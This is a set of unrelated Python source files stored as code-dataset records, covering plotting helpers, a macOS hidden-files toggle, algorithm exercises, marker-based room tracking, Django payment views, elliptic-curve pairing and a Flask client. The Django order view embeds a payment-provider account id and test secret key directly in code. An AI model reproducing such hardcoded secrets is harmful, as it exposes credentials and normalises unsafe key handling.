in three variables barplot, fix, ax\n \n INPUTS:\n x_values: column in dataframe to be plotted on x-axis\n y_values: column in dataframe to be plotted on y-axis\n x_label: Label for x-axis\n chart_title: title for whole bar chart\n figwidth: width of each figure in the bar chart, default is 10\n figheight: height of each figure in the bar chart, default is 6\n \n OUTPUTS:\n barplot: type of chart is bar chart\n fig: the figure in the chart\n ax: axis-element, which is necessary for running the autolabel-function\n \"\"\"\n \n fig, ax = plt.subplots(figsize=(fig_width,fig_height))\n \n #src: http://tonysyu.github.io/raw_content/matplotlib-style-gallery/gallery.html\n plt.style.use('fivethirtyeight')\n \n # set labels\n ax.set_xlabel(x_label, fontsize=15, fontweight='black', color='#333F4B')\n \n # set axis\n ax.tick_params(axis='both', which='major', labelsize=12)\n \n #plot the bar\n barplot=ax.bar(x_values, y_values)\n \n #set bar chart title\n ax.set_title(chart_title,fontsize=15, fontweight='black', color = '#333F4B')\n \n return barplot, fig, ax\n \n #This example shows a how to create a grouped bar chart and how to annotate bars with labels automatically\n #https://matplotlib.org/3.1.1/gallery/lines_bars_and_markers/barchart.html\n def autolabel(self, rects, ax):\n \"\"\"\n Attach a text label above each bar in *rects*, displaying its height.\n \n ARGS:\n - rects: barplot that was made with plot_bar_h()\n - ax: that was made with plot_bar_h()\n \"\"\"\n \n for rect in rects:\n height = rect.get_height()\n ax.annotate('{}'.format(round(height,2)), fontsize=12,\n xy=(rect.get_x() + rect.get_width() / 2, height),\n xytext=(0, 3), # 3 points vertical offset\n textcoords=\"offset points\",\n ha='center', va='bottom') ","sub_path":"package_dsnd_pmherp/Barvertical.py","file_name":"Barvertical.py","file_ext":"py","file_size_in_byte":3047,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"160883555","text":"#crypton.py\n#author: @erres\n\nimport tkinter as tk\nimport subprocess\nimport os\n\nversion = \"Crypton v0.1\"\n\ndef toggle_visibility_on():\n\tvar1 = subprocess.call([\"defaults write com.apple.finder AppleShowAllFiles YES\"], shell=True)\n#\tvar2 = subprocess.call([\"killall Finder\"],shell=True)\n\tprint (var1,#var2,\n\t\t)\n\n\ndef toggle_visibility_off():\n\tvar1 = subprocess.call([\"defaults write com.apple.finder AppleShowAllFiles NO\"], shell=True)\n#\tvar2 = subprocess.call([\"killall Finder\"],shell=True)\n\tprint (var1,#var2,\n\t\t)\n\ndef killall_Finder():\n#\tvar1 = subprocess.call([\"defaults write com.apple.finder AppleShowAllFiles NO\"], shell=True)\n\tvar2 = subprocess.call([\"killall Finder\"],shell=True)\n\tprint (#var1,\n\t\tvar2,\n\t\t)\n\n#add drag & drop to make files hidden or sthg\n\n#----------- W*I*N*D*O*W*S ------------\n# **********-------------*************\n#Root Window\nroot = tk.Tk()\nroot.title(version)\nroot.geometry(\"200x200\")\n\n#Button 1\ntoggle_visibility_on_button = tk.Button(root, text='show hidden folders', width=25, command=toggle_visibility_on)\ntoggle_visibility_on_button.pack()\n#Button 2\ntoggle_visibility_off_button = tk.Button(root, text='hide hidden folders', width=25, command=toggle_visibility_off)\ntoggle_visibility_off_button.pack()\n#Button 3\ntoggle_visibility_off_button = tk.Button(root, text='Restart Finder', width=25, command=killall_Finder)\ntoggle_visibility_off_button.pack()\n\n#End of the program\nroot.mainloop()\n\n\n","sub_path":"crypton.py","file_name":"crypton.py","file_ext":"py","file_size_in_byte":1424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"82512720","text":"# -*- coding:utf-8 -*-\n# @Time: 2020/7/9 8:43\n# @Author: duiya duiyady@163.com\n\n\n\"\"\"\n给定一个链表,旋转链表,将链表每个节点向右移动k个位置,其中k是非负数。\n输入: 1->2->3->4->5->NULL, k = 2\n输出: 4->5->1->2->3->NULL\n解释:\n向右旋转 1 步: 5->1->2->3->4->NULL\n向右旋转 2 步: 4->5->1->2->3->NULL\n\"\"\"\n\n\nclass ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\ndef rotateRight(head, k):\n if head is None:\n return\n if head.next is not None:\n t_head = head.next\n else:\n return head\n count = 2\n while t_head.next is not None:\n t_head = t_head.next\n count += 1\n t_head.next = head\n k = k % count\n t_c = count - k\n while t_c > 0:\n t_head = t_head.next\n t_c -= 1\n tmp_root = t_head.next\n t_head.next = None\n return tmp_root\n\nif __name__ == '__main__':\n root = ListNode(1)\n n1 = ListNode(2)\n n2 = ListNode(3)\n n3 = ListNode(4)\n n4 = ListNode(5)\n n3.next = n4\n n2.next = n3\n n1.next = n2\n root.next = n1\n tmp = rotateRight(root, 1)\n while tmp is not None:\n print(tmp.val)\n tmp = tmp.next\n","sub_path":"src/main/num001_100/61_旋转链表.py","file_name":"61_旋转链表.py","file_ext":"py","file_size_in_byte":1188,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"551534807","text":"''' Real Time Location Detector using ArucoMarkers\n1. Accepts --Width ( Width of the room in ft ) , -- breadth ( Breadth of the room in ft ), --cam ( Camera Distance of the room in ft )\n2. Displays the location of the person in the room on a room Map.\n\nUses Aruco Markers for the detection hence assumes\n1) every person has an aruco marker attached to them\n2) All the people have different ArucoMarker Ids\n'''\n\nimport cv2\nimport PIL\nimport numpy as np\nimport os\nfrom cv2 import aruco\nimport math\nimport imutils\nimport argparse\nfrom main_functions import *\nglobal camera_focal\nglobal unwanted\nglobal Adder\nglobal mod\n\n# variables\nface_size = 64\nAdder = 40\nCounter_Threshold = 30\ncamera_focal = None\nunwanted = []\n\nhuman_cascade = cv2.CascadeClassifier(\"haarcascade_facedefault.xml\")\n\n# Importing Focal Length and Markerlength from Caliberation data\nwith open(\"Focal.txt\", \"r\") as f:\n camera_focal = (f.readline())\n dist_real = (f.readline())\n if camera_focal == '':\n print(\"Camera Not Caliberated\")\n quit()\n else:\n camera_focal.strip(\"\\n\")\n dist_real.strip(\"\\n\")\n print(\"Dist\", dist_real)\n camera_focal, dist_real = float(camera_focal), float(dist_real)\n\n# Starting Video Capture\ncap = cv2.VideoCapture(0)\n# Defining the parameters\ndictionary = cv2.aruco.Dictionary_get(cv2.aruco.DICT_4X4_50)\naruco_dict = cv2.aruco.Dictionary_get(cv2.aruco.DICT_4X4_50)\narucoParams = cv2.aruco.DetectorParameters_create()\n\n# Room Dimensions\nargs = get_args()\nroom_x = Foot_to_cms(args.width) + Adder\nroom_y = Foot_to_cms(args.breadth) + Adder\nCamera_x = Foot_to_cms(args.cam)\n\nOffset = room_x / Camera_x\nX_mod = 2 - Offset\nX_mod = Foot_to_cms(X_mod)\nmod = (Adder // 2)\n\n# This Dictionary stores \" ID's : Object(ID) \"\nObj_Dict = {}\n\nwhile True:\n # reading frames\n ret, frame = cap.read()\n room_map = np.zeros((room_y, room_x, 3), dtype=\"uint8\")\n\n # Draws the map\n Draw_map(room_map, room_x, room_y, Camera_x, mod)\n human = human_cascade.detectMultiScale(\n frame, 1.1, 6, minSize=(face_size, face_size))\n\n # Converting to gray for ArucoMarkers()\n imgRemapped_gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n corners, ids, RejectedPoints = cv2.aruco.detectMarkers(\n imgRemapped_gray, aruco_dict, parameters=arucoParams)\n\n # Draws ArucoMarkers and Face\n frame_markers = aruco.drawDetectedMarkers(frame.copy(), corners, ids)\n draw(human, frame_markers)\n\n # Functionality\n # Shows the disappeared Objects for 30 frames and then deletes it\n # Special case when ids is none but len(Objects) isnt. Counter starts for all objects\n if np.all(ids == None) and len(Obj_Dict) != 0:\n for i in Obj_Dict:\n Obj_Dict[i].count += 1\n\n if Obj_Dict[i].count >= Counter_Threshold:\n unwanted.append(i)\n if len(unwanted) > 0:\n del Obj_Dict[unwanted[0]]\n unwanted = unwanted[1:]\n\n # Similar Case but counter only deletes elements which arent present in idlist.\n for i in Obj_Dict:\n if id_list:\n if i not in id_list:\n Obj_Dict[i].count += 1\n Obj_Dict[i].draw(room_map)\n if Obj_Dict[i].count >= Counter_Threshold:\n unwanted.append(i)\n if len(unwanted) > 0:\n del Obj_Dict[unwanted[0]]\n unwanted = unwanted[1:]\n\n # Detection and Object Creation\n if np.all(ids != None):\n id_list = [i[0] for i in ids]\n for i in id_list:\n if i in Obj_Dict.keys():\n Obj_Dict[i].count = 0\n continue\n else:\n Obj_Dict[i] = Persons(i, mod)\n\n for i in range(len(corners)):\n\n x1, y1 = (corners[i][0][0][0], corners[i][0][0][1])\n x2, y2 = (corners[i][0][1][0], corners[i][0][1][1])\n x3, y3 = (corners[i][0][2][0], corners[i][0][2][1])\n x4, y4 = (corners[i][0][3][0], corners[i][0][3][1])\n\n centroid_x = (corners[i][0][0][0] + corners[i][0][1]\n [0] + corners[i][0][2][0] + corners[i][0][3][0]) // 4\n pixels_between_corner_pts = find_dist(x1, x2, y1, y2)\n real_depth = int(Compute_Depth(\n camera_focal, pixels_between_corner_pts, dist_real))\n\n '''Once Real Depth is found (refer CameraCaliberate.py for theory), we caliberte x\n The screen os divided into half,\n One Half Corresponds to the left side of the map and the other to the right.\n With linear interpolation , the ratios of pixel movement in each direction is computed'''\n\n room_actual_x = room_x - Adder\n splits = room_actual_x - Camera_x\n Half_frame = frame.shape[1] // 2\n\n if centroid_x >= Half_frame:\n room_pos_x = (Camera_x / Half_frame) * \\\n (frame.shape[1] - centroid_x)\n room_pos_x = int(room_pos_x)\n\n else:\n room_pos_x = (splits / Half_frame) * centroid_x\n room_pos_x = int(room_actual_x - room_pos_x)\n # We have drawn a rectangle in the window to indicate the size of the room\n # Thus we have to add an offset to cover the extra space.\n room_pos_x += mod\n try:\n Obj_Dict[ids[i][0]].x = room_pos_x\n Obj_Dict[ids[i][0]].y = real_depth\n except:\n pass\n\n cv2.imshow(\"ArucoMarkers\", frame_markers)\n cv2.imshow(\"Room Map \", room_map)\n if cv2.waitKey(2) & 0xFF == ord('q'):\n break\n","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":5543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"359798334","text":"import numpy #for numpy storage\nimport os #to find files\nimport time #for time to complete\nfrom sklearn.tree import DecisionTreeClassifier\nimport pickle\nfrom statistics import mean\nstart = time.time()\n\n#Import Training Data & Labels\n\nodata = numpy.load(\"Data/20ImpTrainingData.npy\")\ndata = odata.reshape(9826,(3*3*78))\nisnot = numpy.load(\"Data/20ImpTrainingDataLabels.npy\")\n\n#import wrong test data\nwdata0 = numpy.load(\"Data/UkiTestingData.npy\")\nwdata0 = wdata0.reshape(350,(3*3*78))\nwdatal0 = numpy.load(\"Data/UkiTestingDataLabels.npy\")\n\nwdata1 = numpy.load(\"Data/LReTestingData.npy\")\nwdata1 = wdata1.reshape(384,(3*3*78))\nwdatal1 = numpy.load(\"Data/LReTestingDataLabels.npy\")\n\nwdata2 = numpy.load(\"Data/MinTestingData.npy\")\nwdata2 = wdata2.reshape(401,(3*3*78))\nwdatal2 = numpy.load(\"Data/MinTestingDataLabels.npy\")\n\nwdata3 = numpy.load(\"Data/HreTestingData.npy\")\nwdata3 = wdata3.reshape(403,(3*3*78))\nwdatal3 = numpy.load(\"Data/HreTestingDataLabels.npy\")\n\nwdata4 = numpy.load(\"Data/EreTestingData.npy\")\nwdata4 = wdata4.reshape(417,(3*3*78))\nwdatal4 = numpy.load(\"Data/EreTestingDataLabels.npy\")\n\nwdata5 = numpy.load(\"Data/PopTestingData.npy\")\nwdata5 = wdata5.reshape(445,(3*3*78))\nwdatal5 = numpy.load(\"Data/PopTestingDataLabels.npy\")\n\nwdata6 = numpy.load(\"Data/CFPTestingData.npy\")\nwdata6 = wdata6.reshape(484,(3*3*78))\nwdatal6 = numpy.load(\"Data/CFPTestingDataLabels.npy\")\n\nwdata7 = numpy.load(\"Data/ROCTestingData.npy\")\nwdata7 = wdata7.reshape(627,(3*3*78))\nwdatal7 = numpy.load(\"Data/ROCTestingDataLabels.npy\")\n\nwdata8 = numpy.load(\"Data/CubTestingData.npy\")\nwdata8 = wdata8.reshape(660,(3*3*78))\nwdatal8 = numpy.load(\"Data/CubTestingDataLabels.npy\")\n\nwdata9 = numpy.load(\"Data/NAPTestingData.npy\")\nwdata9 = wdata9.reshape(721,(3*3*78))\nwdatal9 = numpy.load(\"Data/NAPTestingDataLabels.npy\")\n\nwdata10 = numpy.load(\"Data/NreTestingData.npy\")\nwdata10 = wdata10.reshape(766,(3*3*78))\nwdatal10 = numpy.load(\"Data/NreTestingDataLabels.npy\")\n\nwdata11 = numpy.load(\"Data/AExTestingData.npy\")\nwdata11 = wdata11.reshape(835,(3*3*78))\nwdatal11 = numpy.load(\"Data/AExTestingDataLabels.npy\")\n\nwdata12 = numpy.load(\"Data/BarTestingData.npy\")\nwdata12 = wdata12.reshape(1272,(3*3*78))\nwdatal12 = numpy.load(\"Data/BarTestingDataLabels.npy\")\n\nwdata13 = numpy.load(\"Data/AMNTestingData.npy\")\nwdata13 = wdata13.reshape(1300,(3*3*78))\nwdatal13 = numpy.load(\"Data/AMNTestingDataLabels.npy\")\n\nwdata14 = numpy.load(\"Data/SymTestingData.npy\")\nwdata14 = wdata14.reshape(1358,(3*3*78))\nwdatal14 = numpy.load(\"Data/SymTestingDataLabels.npy\")\n\nwdata15 = numpy.load(\"Data/PImTestingData.npy\")\nwdata15 = wdata15.reshape(1934,(3*3*78))\nwdatal15 = numpy.load(\"Data/PImTestingDataLabels.npy\")\n\nwdata16 = numpy.load(\"Data/ExpTestingData.npy\")\nwdata16 = wdata16.reshape(2021,(3*3*78))\nwdatal16 = numpy.load(\"Data/ExpTestingDataLabels.npy\")\n\nwdata17 = numpy.load(\"Data/RomTestingData.npy\")\nwdata17 = wdata17.reshape(2106,(3*3*78))\nwdatal17 = numpy.load(\"Data/RomTestingDataLabels.npy\")\n\nwdata18 = numpy.load(\"Data/RelTestingData.npy\")\nwdata18 = wdata18.reshape(3220,(3*3*78))\nwdatal18 = numpy.load(\"Data/RelTestingDataLabels.npy\")\n\nwdata19 = numpy.load(\"Data/ImpTestingData.npy\")\nwdata19 = wdata19.reshape(3918,(3*3*78))\nwdatal19 = numpy.load(\"Data/ImpTestingDataLabels.npy\")\n\n\"\"\"\ncval = 21 length from 2^-5 to 2^15\ngval = 18 length from 2^-15 to 2^2\n\"\"\"\n\nmadepth = [4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30] #1,2,3 removed\nmins = [0.03125,0.0625,0.125,0.25,0.5,1.0,2,4,8,16,32,64,128] #,256,512,1024 removed\n\nprint (\"Training Test Data\")\n\nresults = [0] *19\ncheckagainst = [0]\nfalsepositive = 0;\nfalsenegative = 0;\ntruepositive = 0;\ntruenegative = 0;\n\n\nfor manums in madepth: \n print(\"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\")\n for minvals in mins:\n machine = DecisionTreeClassifier(splitter='best', random_state=1,max_depth = manums,min_samples_split = minvals)\n machine.fit(data,isnot)\n #score the data \n #change predictpoba(wdataXX) to correct data\n checkagainst[0] = mean(machine.predict_proba(wdata19)[:,1]) #true positive\n falsenegative = 1-checkagainst[0]\n #make sure correct wdataXX isn't in the results and that the other 19 are\n results[0] = mean(machine.predict_proba(wdata0)[:,1])\n results[1] = mean(machine.predict_proba(wdata1)[:,1])\n results[2] = mean(machine.predict_proba(wdata2)[:,1])\n results[3] = mean(machine.predict_proba(wdata3)[:,1])\n results[4] = mean(machine.predict_proba(wdata4)[:,1])\n results[5] = mean(machine.predict_proba(wdata5)[:,1])\n results[6] = mean(machine.predict_proba(wdata6)[:,1])\n results[7] = mean(machine.predict_proba(wdata7)[:,1])\n results[8] = mean(machine.predict_proba(wdata8)[:,1])\n results[9] = mean(machine.predict_proba(wdata9)[:,1])\n results[10] = mean(machine.predict_proba(wdata10)[:,1])\n results[11] = mean(machine.predict_proba(wdata11)[:,1])\n results[12] = mean(machine.predict_proba(wdata12)[:,1])\n results[13] = mean(machine.predict_proba(wdata13)[:,1])\n results[14] = mean(machine.predict_proba(wdata14)[:,1])\n results[15] = mean(machine.predict_proba(wdata15)[:,1])\n results[16] = mean(machine.predict_proba(wdata16)[:,1])\n results[17] = mean(machine.predict_proba(wdata17)[:,1])\n results[18] = mean(machine.predict_proba(wdata18)[:,1])\n for numbers in results:\n falsepositive = falsepositive+numbers\n truenegative = truenegative+(1-numbers)\n #ACC = (TP+TN)/(TP+TN+FP+FN)\n accuracy = ((truepositive+truenegative)/(truepositive+truenegative+falsepositive+falsenegative))\n print (str(accuracy))\n checkagainst = [0]\n falsepositive = 0;\n falsenegative = 0;\n truepositive = 0;\n truenegative = 0;\n\n\nend = time.time()\nprint (str(round((end - start),2)) + \" seconds to complete\")\n","sub_path":"Code/Build/Models/DAISY/Training/TreeTraining.py","file_name":"TreeTraining.py","file_ext":"py","file_size_in_byte":5918,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"276237343","text":"from django.urls import path\nfrom accounts import views\nfrom django.contrib.auth import views as auth_views\n\n\napp_name = 'accounts'\n\nurlpatterns = [\n path('employeesignup/',views.employeesignup,name='employee_sign'),\n path('login/',auth_views.LoginView.as_view(template_name='accounts/login.html'),name='login'),\n path('logout/',auth_views.LogoutView.as_view(),name='logout'),\n path('performance/',views.employee_money,name = \"performance\"),\n]\n","sub_path":"accounts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"364732282","text":"n,k=map(int,input().split())\r\r\na=[int(input()) for _ in range(n)]\r\r\n\r\r\ndp=[1<<31]*10001\r\r\n\r\r\ndp[0]=0\r\r\nfor i in range(n):\r\r\n for j in range(a[i],k+1):\r\r\n dp[j]=min(dp[j],1+dp[j-a[i]])\r\r\n\r\r\nprint(-1 if dp[k]==1<<31 else dp[k])","sub_path":"BOJ/milkclouds/02294/2294.py3.py","file_name":"2294.py3.py","file_ext":"py","file_size_in_byte":235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"99244980","text":"from root import cubic_root\nfrom ..util import is_prime\nfrom random import randint\n\n\ndef miller(E, P, Q, m):\n \"\"\"\n Calculate f_P(Q)\n \"\"\"\n def h(P, Q, R):\n # if \\lambda is infinity\n if (P == Q and P.y == 0) or (P != Q and P.x == Q.x):\n return R.x - P.x\n L = P.line_coeff(Q)\n p = R.y - P.y - L * (R.x - P.x)\n q = R.x + P.x + Q.x - L * L\n return p / q\n if P == Q:\n return 1\n b = map(int, bin(m)[2:])\n f = 1\n T = P\n for i in b[1:]:\n f = f * f * h(T, T, Q)\n T = T + T\n if i:\n f = f * h(T, P, Q)\n T = T + P\n return f\n\n\ndef weil_pairing(E, P, Q, m, S=None):\n \"\"\"\n Calculate Weil Pairing\n \"\"\"\n if S is None:\n S = E.random_point()\n fpqs = miller(E, P, Q + S, m)\n fps = miller(E, P, S, m)\n fqps = miller(E, Q, P - S, m)\n fqs = miller(E, Q, -S, m)\n return E.field._inv(fps * fqps) * fpqs * fqs\n\n\ndef tate_pairing(E, P, Q, m, k=2):\n \"\"\"\n Calculate Tate Pairing\n \"\"\"\n f = miller(E, P, Q, m)\n return f ** (((E.field.p ** k) - 1) / m)\n\n\ndef MapToPoint(E, y):\n \"\"\"\n MapToPoint Function: Given by Boneh-Durfee's ID-based Encryption Paper.\n\n E: Elliptic Curve\n y: Any Value (should be E.field element)\n\n return: Point (corresponding x, y) on E\n \"\"\"\n x = cubic_root(y**2 - 1)\n Q = E(x, y)\n return 6 * Q\n\n\ndef gen_supersingular_ec(bits=70):\n \"\"\"\n Generate Super-Singluar Elliptic Curve\n bits: Security Parameter -> log_2 p = bits\n \"\"\"\n from ..structure import EllipticCurve, ExtendedFiniteField\n\n def _next_prime(n):\n \"\"\"\n return next prime of n\n \"\"\"\n while not is_prime(n):\n n += 1\n return n\n\n \"\"\"\n If you have gmpy, use gmpy.next_prime\n in other hand, use slow function\n \"\"\"\n try:\n from gmpy import next_prime\n except:\n next_prime = _next_prime\n\n def gen_prime():\n \"\"\"\n Generate Prime for Super Singular Elliptic Curve\n \"\"\"\n while True:\n p = int(next_prime(randint(2**(bits - 1), 2**bits)))\n if is_prime(p * 6 - 1):\n break\n return p * 6 - 1, p\n\n p, l = gen_prime()\n F = ExtendedFiniteField(p, \"x^2+x+1\")\n return EllipticCurve(F, 0, 1), F, l\n\n\ndef find_point_by_order(E, l):\n \"\"\"\n Find a Elliptic Curve Point P, that point has order l.\n \"\"\"\n i = 3\n while True:\n r = E.get_corresponding_y(i)\n if r != None:\n P = E(i, r)\n if (P * l).is_infinity():\n return P\n i += 1\n\n\ndef symmetric_weil_pairing(E, P, Q, m):\n \"\"\"\n Symmetric Weil Pairing\n \\hat{e}(P, Q) = e(P, \\phi(Q)) (\\phi is Distortion Map)\n \"\"\"\n return weil_pairing(E, P, Q.distortion_map(), m)\n\n\ndef symmetric_tate_pairing(E, P, Q, m, k=2):\n \"\"\"\n Symmetric Tate Pairing\n \\hat{e}(P, Q) = e(P, \\phi(Q)) (\\phi is Distortion Map)\n \"\"\"\n return tate_pairing(E, P, Q.distortion_map(), m)\n","sub_path":"ecpy/algorithm/pairing.py","file_name":"pairing.py","file_ext":"py","file_size_in_byte":2710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"423324145","text":"from django.http.response import HttpResponse\nfrom rest_framework import viewsets\nfrom django.http import JsonResponse\nfrom django.contrib.auth import get_user_model\nfrom rest_framework.permissions import AllowAny\nfrom .serialize import OrderSerializer\nfrom .models import Order\nfrom api.product.models import Product\nfrom api.product.models import Size\nfrom django.views.decorators.csrf import csrf_exempt\nimport json\nimport uuid\nfrom yookassa import Configuration, Payment\n# Create your views here.\n\nConfiguration.account_id = '719057'\nConfiguration.secret_key = 'test_ZeaaEeqWWZi4asPd1TNeJACFSgAyVqfJQHukOXniCTU'\n\n\ndef validate_user_session(token):\n UserModel = get_user_model()\n try:\n user = UserModel.objects.get(session_token=token)\n if user.session_token == token:\n return True\n return False\n except UserModel.DoesNotExist:\n return False\n\n@csrf_exempt\ndef add(request, token):\n if not validate_user_session(token):\n return JsonResponse({'error':'login failure', 'code':'500'})\n \n if request.method == \"POST\":\n data = (json.loads(request.body))\n print(data['products'])\n amount = data['amount']\n raw_products = data['products']\n products = []\n for product_name,size in raw_products:\n size = Size.objects.filter(product = Product.objects.get(name = product_name)).get(size = size)\n size.stock -= 1\n size.save()\n products.append(size)\n total_product = len(raw_products)\n address = data['address']\n id = uuid.uuid4()\n payment_data = create_link(amount, 'localhost/order/success/{0}/'.format(id), str(raw_products))\n link = payment_data['confirmation']['confirmation_url']\n transaction_id = payment_data['id']\n UserModel = get_user_model()\n try:\n user = UserModel.objects.get(session_token=token)\n except UserModel.DoesNotExist:\n return JsonResponse({'error':'User doesnt exist'})\n \n order = Order(id=id,user=user,total_product=total_product,total_amount=amount, address =address,link=link, transaction_id=transaction_id)\n order.save()\n order.products.set(products)\n return JsonResponse({'payment_url':link})\n\ndef create_link(amount,return_url,description):\n payment = Payment.create({\n \"amount\": {\n \"value\": amount,\n \"currency\": \"RUB\"\n },\n \"confirmation\": {\n \"type\": \"redirect\",\n \"return_url\": return_url\n },\n \"capture\": True,\n \"description\": description\n }, uuid.uuid4())\n return json.loads(payment.json())\n\nclass OrderViewSet(viewsets.ModelViewSet):\n permission_classes_by_action = {'create': [AllowAny],'update':[AllowAny]}\n queryset = Order.objects.all().order_by('id')\n serializer_class = OrderSerializer\n \n def get_permissions(self):\n try: \n return [permission() for permission in self.permission_classes_by_action[self.action]]\n except KeyError:\n return [permission() for permission in self.permission_classes]\n","sub_path":"backend/api/order/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3149,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"647885205","text":"from flask import Flask, render_template\n\napp=Flask(__name__)\n\n@app.route('/01-var')\n\ndef var_views():\n name='隔壁老王'\n age='32'\n salary='125.55'\n tup=('老魏','老王','老吕','小蒙蒙')\n list=['漩涡鸣人','宇智波','春野樱']\n dic={\n 'C':'CHINA',\n 'A':'AMERTCA',\n 'J':'JAPAN',\n }\n\n dog=Dog()\n return render_template('01-var.html',params=locals())\n\n\n@app.route('/02-filter')\ndef filter_views():\n title=' this is my FIRST filter page '\n return render_template('02-filter.html',title=title)\n\n\nclass Dog(object):\n name='旺财'\n def eat(self):\n return self.name+'吃狗粮'\n\n\n\n@app.route('/03-if')\ndef if_views():\n return render_template('03-if.html',age=44,uname='超人')\n\n@app.route('/04-for')\ndef for_views():\n list=['猴子','武大郎','潘金莲','王宝强','王伟超','黑玫瑰']\n dic={\n 'SWK':'孙悟空',\n 'ZWN':'猪八戒',\n 'SWJ':'沙悟净',\n 'TSZ':'唐三藏',\n 'WWC':'王伟超',\n }\n return render_template('04-for.html',params=locals())\n\n\n\n@app.route('/05-macro')\ndef macro_views():\n list=['王老师','隔壁老王','WANGWC','王伟超老师','RapWang','超哥哥']\n return render_template('05-macro.html',params=locals())\n\n\n@app.route('/06-static')\ndef static_views():\n return render_template('06-static.html')\n\n\n\nif __name__==\"__main__\":\n app.run(debug=True)","sub_path":"PycharmProjects/FlaskDemo02/run01.py","file_name":"run01.py","file_ext":"py","file_size_in_byte":1426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"15768376","text":"from random import choice\n\ns = \"confusing\"\ncharacters = list(s)\nn = len(s)\nl = []\ncount = 1\nfor i in range(n):\n c = choice(characters)\n l.insert(i,c)\n characters.remove(c)\nprint(*l)\n\nwhile count <= 7:\n enter = input(\"Enter your answer: \")\n if enter == s:\n print(\"Congratulations!\")\n break\n else:\n print(\"You're wrong!\")\n count += 1\n\nprint(\"The right answer is\", s)\n","sub_path":"Session03/Homework/guess_my_word.py","file_name":"guess_my_word.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"509802210","text":"#affine cipher version 1\nfrom errors import *\nfrom fileoperation import *\nfrom Euclideaninverse import *\ndef encrypt(a,b,msgfile):\n\ts=read_data(msgfile)\n\tkeys=read_keys()\n\t#print keys\n\tm=26\n\tj=0\n\te=[]\n\tk2=len(s)\n\tif s[0]=='$':\n\t\tencrypt_error()\n\t\treturn\n\tif compute_inverse(a,m)==None:\n\t\tunpossible()\n\t\treturn\n\ttry:\n\t\twhile j= 0).all():\n yield R\n\n\ndef get_best_score(data):\n ingredients = parse_data(data)\n A = np.vstack(ingredients.values())\n n = len(A)\n r = 100//n\n R = np.array([r] * n).reshape(n, 1)\n\n best_score = 0\n while True:\n for R_ in get_perturbations(R):\n this_score = score(R_, A)\n if this_score > best_score:\n R = R_\n best_score = this_score\n break\n else:\n return best_score\n\n\ndef get_best_score_for_calories(data, n_teaspoons=100, calories=500):\n ingredients = parse_data(data)\n A = np.vstack(ingredients.values())\n n = len(A)\n cals = A[:,-1]\n best_score = 0\n for combo in ways(total=calories, coins=cals):\n R = np.array([combo.get(x, 0) for x in cals]).reshape(n,1)\n if R.sum() == n_teaspoons:\n this_score = score(R, A)\n best_score = max(best_score, this_score)\n return best_score\n\n\nassert get_best_score(test_data) == 62842880\nprint(get_best_score(data)) # part a: 18965440\n\nassert get_best_score_for_calories(test_data) == 57600000\nprint(get_best_score_for_calories(data)) # part b: 15862900\n","sub_path":"aoc2015/q15.py","file_name":"q15.py","file_ext":"py","file_size_in_byte":2236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"312413501","text":"import requests\nfrom flask import Flask , request , jsonify\nimport cv2\nimport time\nimport socket\nimport os , re\nfrom uuid import getnode as get_mac\nfrom multiprocessing.dummy import Pool\nimport json\n\naccList = ['nose', 'leftEye', 'rightEye', 'leftEar', 'rightEar', 'leftShoulder', 'rightShoulder', 'leftElbow', 'rightElbow', 'leftWrist', 'rightWrist', 'leftHip', 'rightHip', 'leftKnee', 'rightKnee', 'leftAnkle', 'rightAnkle']\n# image = {'image': open('./images/single.jpeg','rb')}\nstream = True\napp = Flask(__name__)\nhost = '192.168.0.177'\n# host = 'localhost'\nport = 3000\nstream = False\nurl_pose_service = 'http://161.246.5.161:8101/'\nurl_class_service = 'http://161.246.5.161:8102/'\nurl_camera_control_service = 'ip'\nurl_zoom_service = 'ip'\nactive_stream = {}\nwith open('connection.txt') as json_file :\n data = json.load(json_file)\n for c in data : \n active_stream[c] = data[c]\n\n### hand check func\ndef check_Service() :\n def get_pose() :\n res = requests.get(url_pose_service)\n return 'connect'\n def get_class() :\n res = requests.get(url_class_service)\n return 'connect'\n \n def get_camera_control() :\n res = requests.get(url_camera_control_service)\n return 'connect'\n\n def get_zoom() :\n res = requests.get(url_zoom_service)\n result.append(res.json())\n return 'connect'\n\n try :\n get_pose()\n get_class()\n # get_camera_control()\n # get_zoom()\n return True\n except :\n return False\n\n### function request\ndef purge(dir, pattern):\n for f in os.listdir(dir):\n if re.search(pattern, f):\n os.remove(os.path.join(dir, f))\n\ndef req_Pose(image) :\n url = url_pose_service + 'upload-images'\n # url = 'http://localhost:3001/upload-images'\n res = requests.post(url,files = image)\n return res.json()\n\ndef req_Class(pose) :\n url = url_class_service + 'prediction'\n # url = 'http://localhost:3002/prediction'\n formData = { 'data' : pose }\n res = requests.post(url,json = formData)\n return res.json()\n\ndef req_Zoom(classification) :\n url = 'http://192.168.0.177:3004/zoomcommand'\n ip = '192.168.0.177'\n port = 8554\n 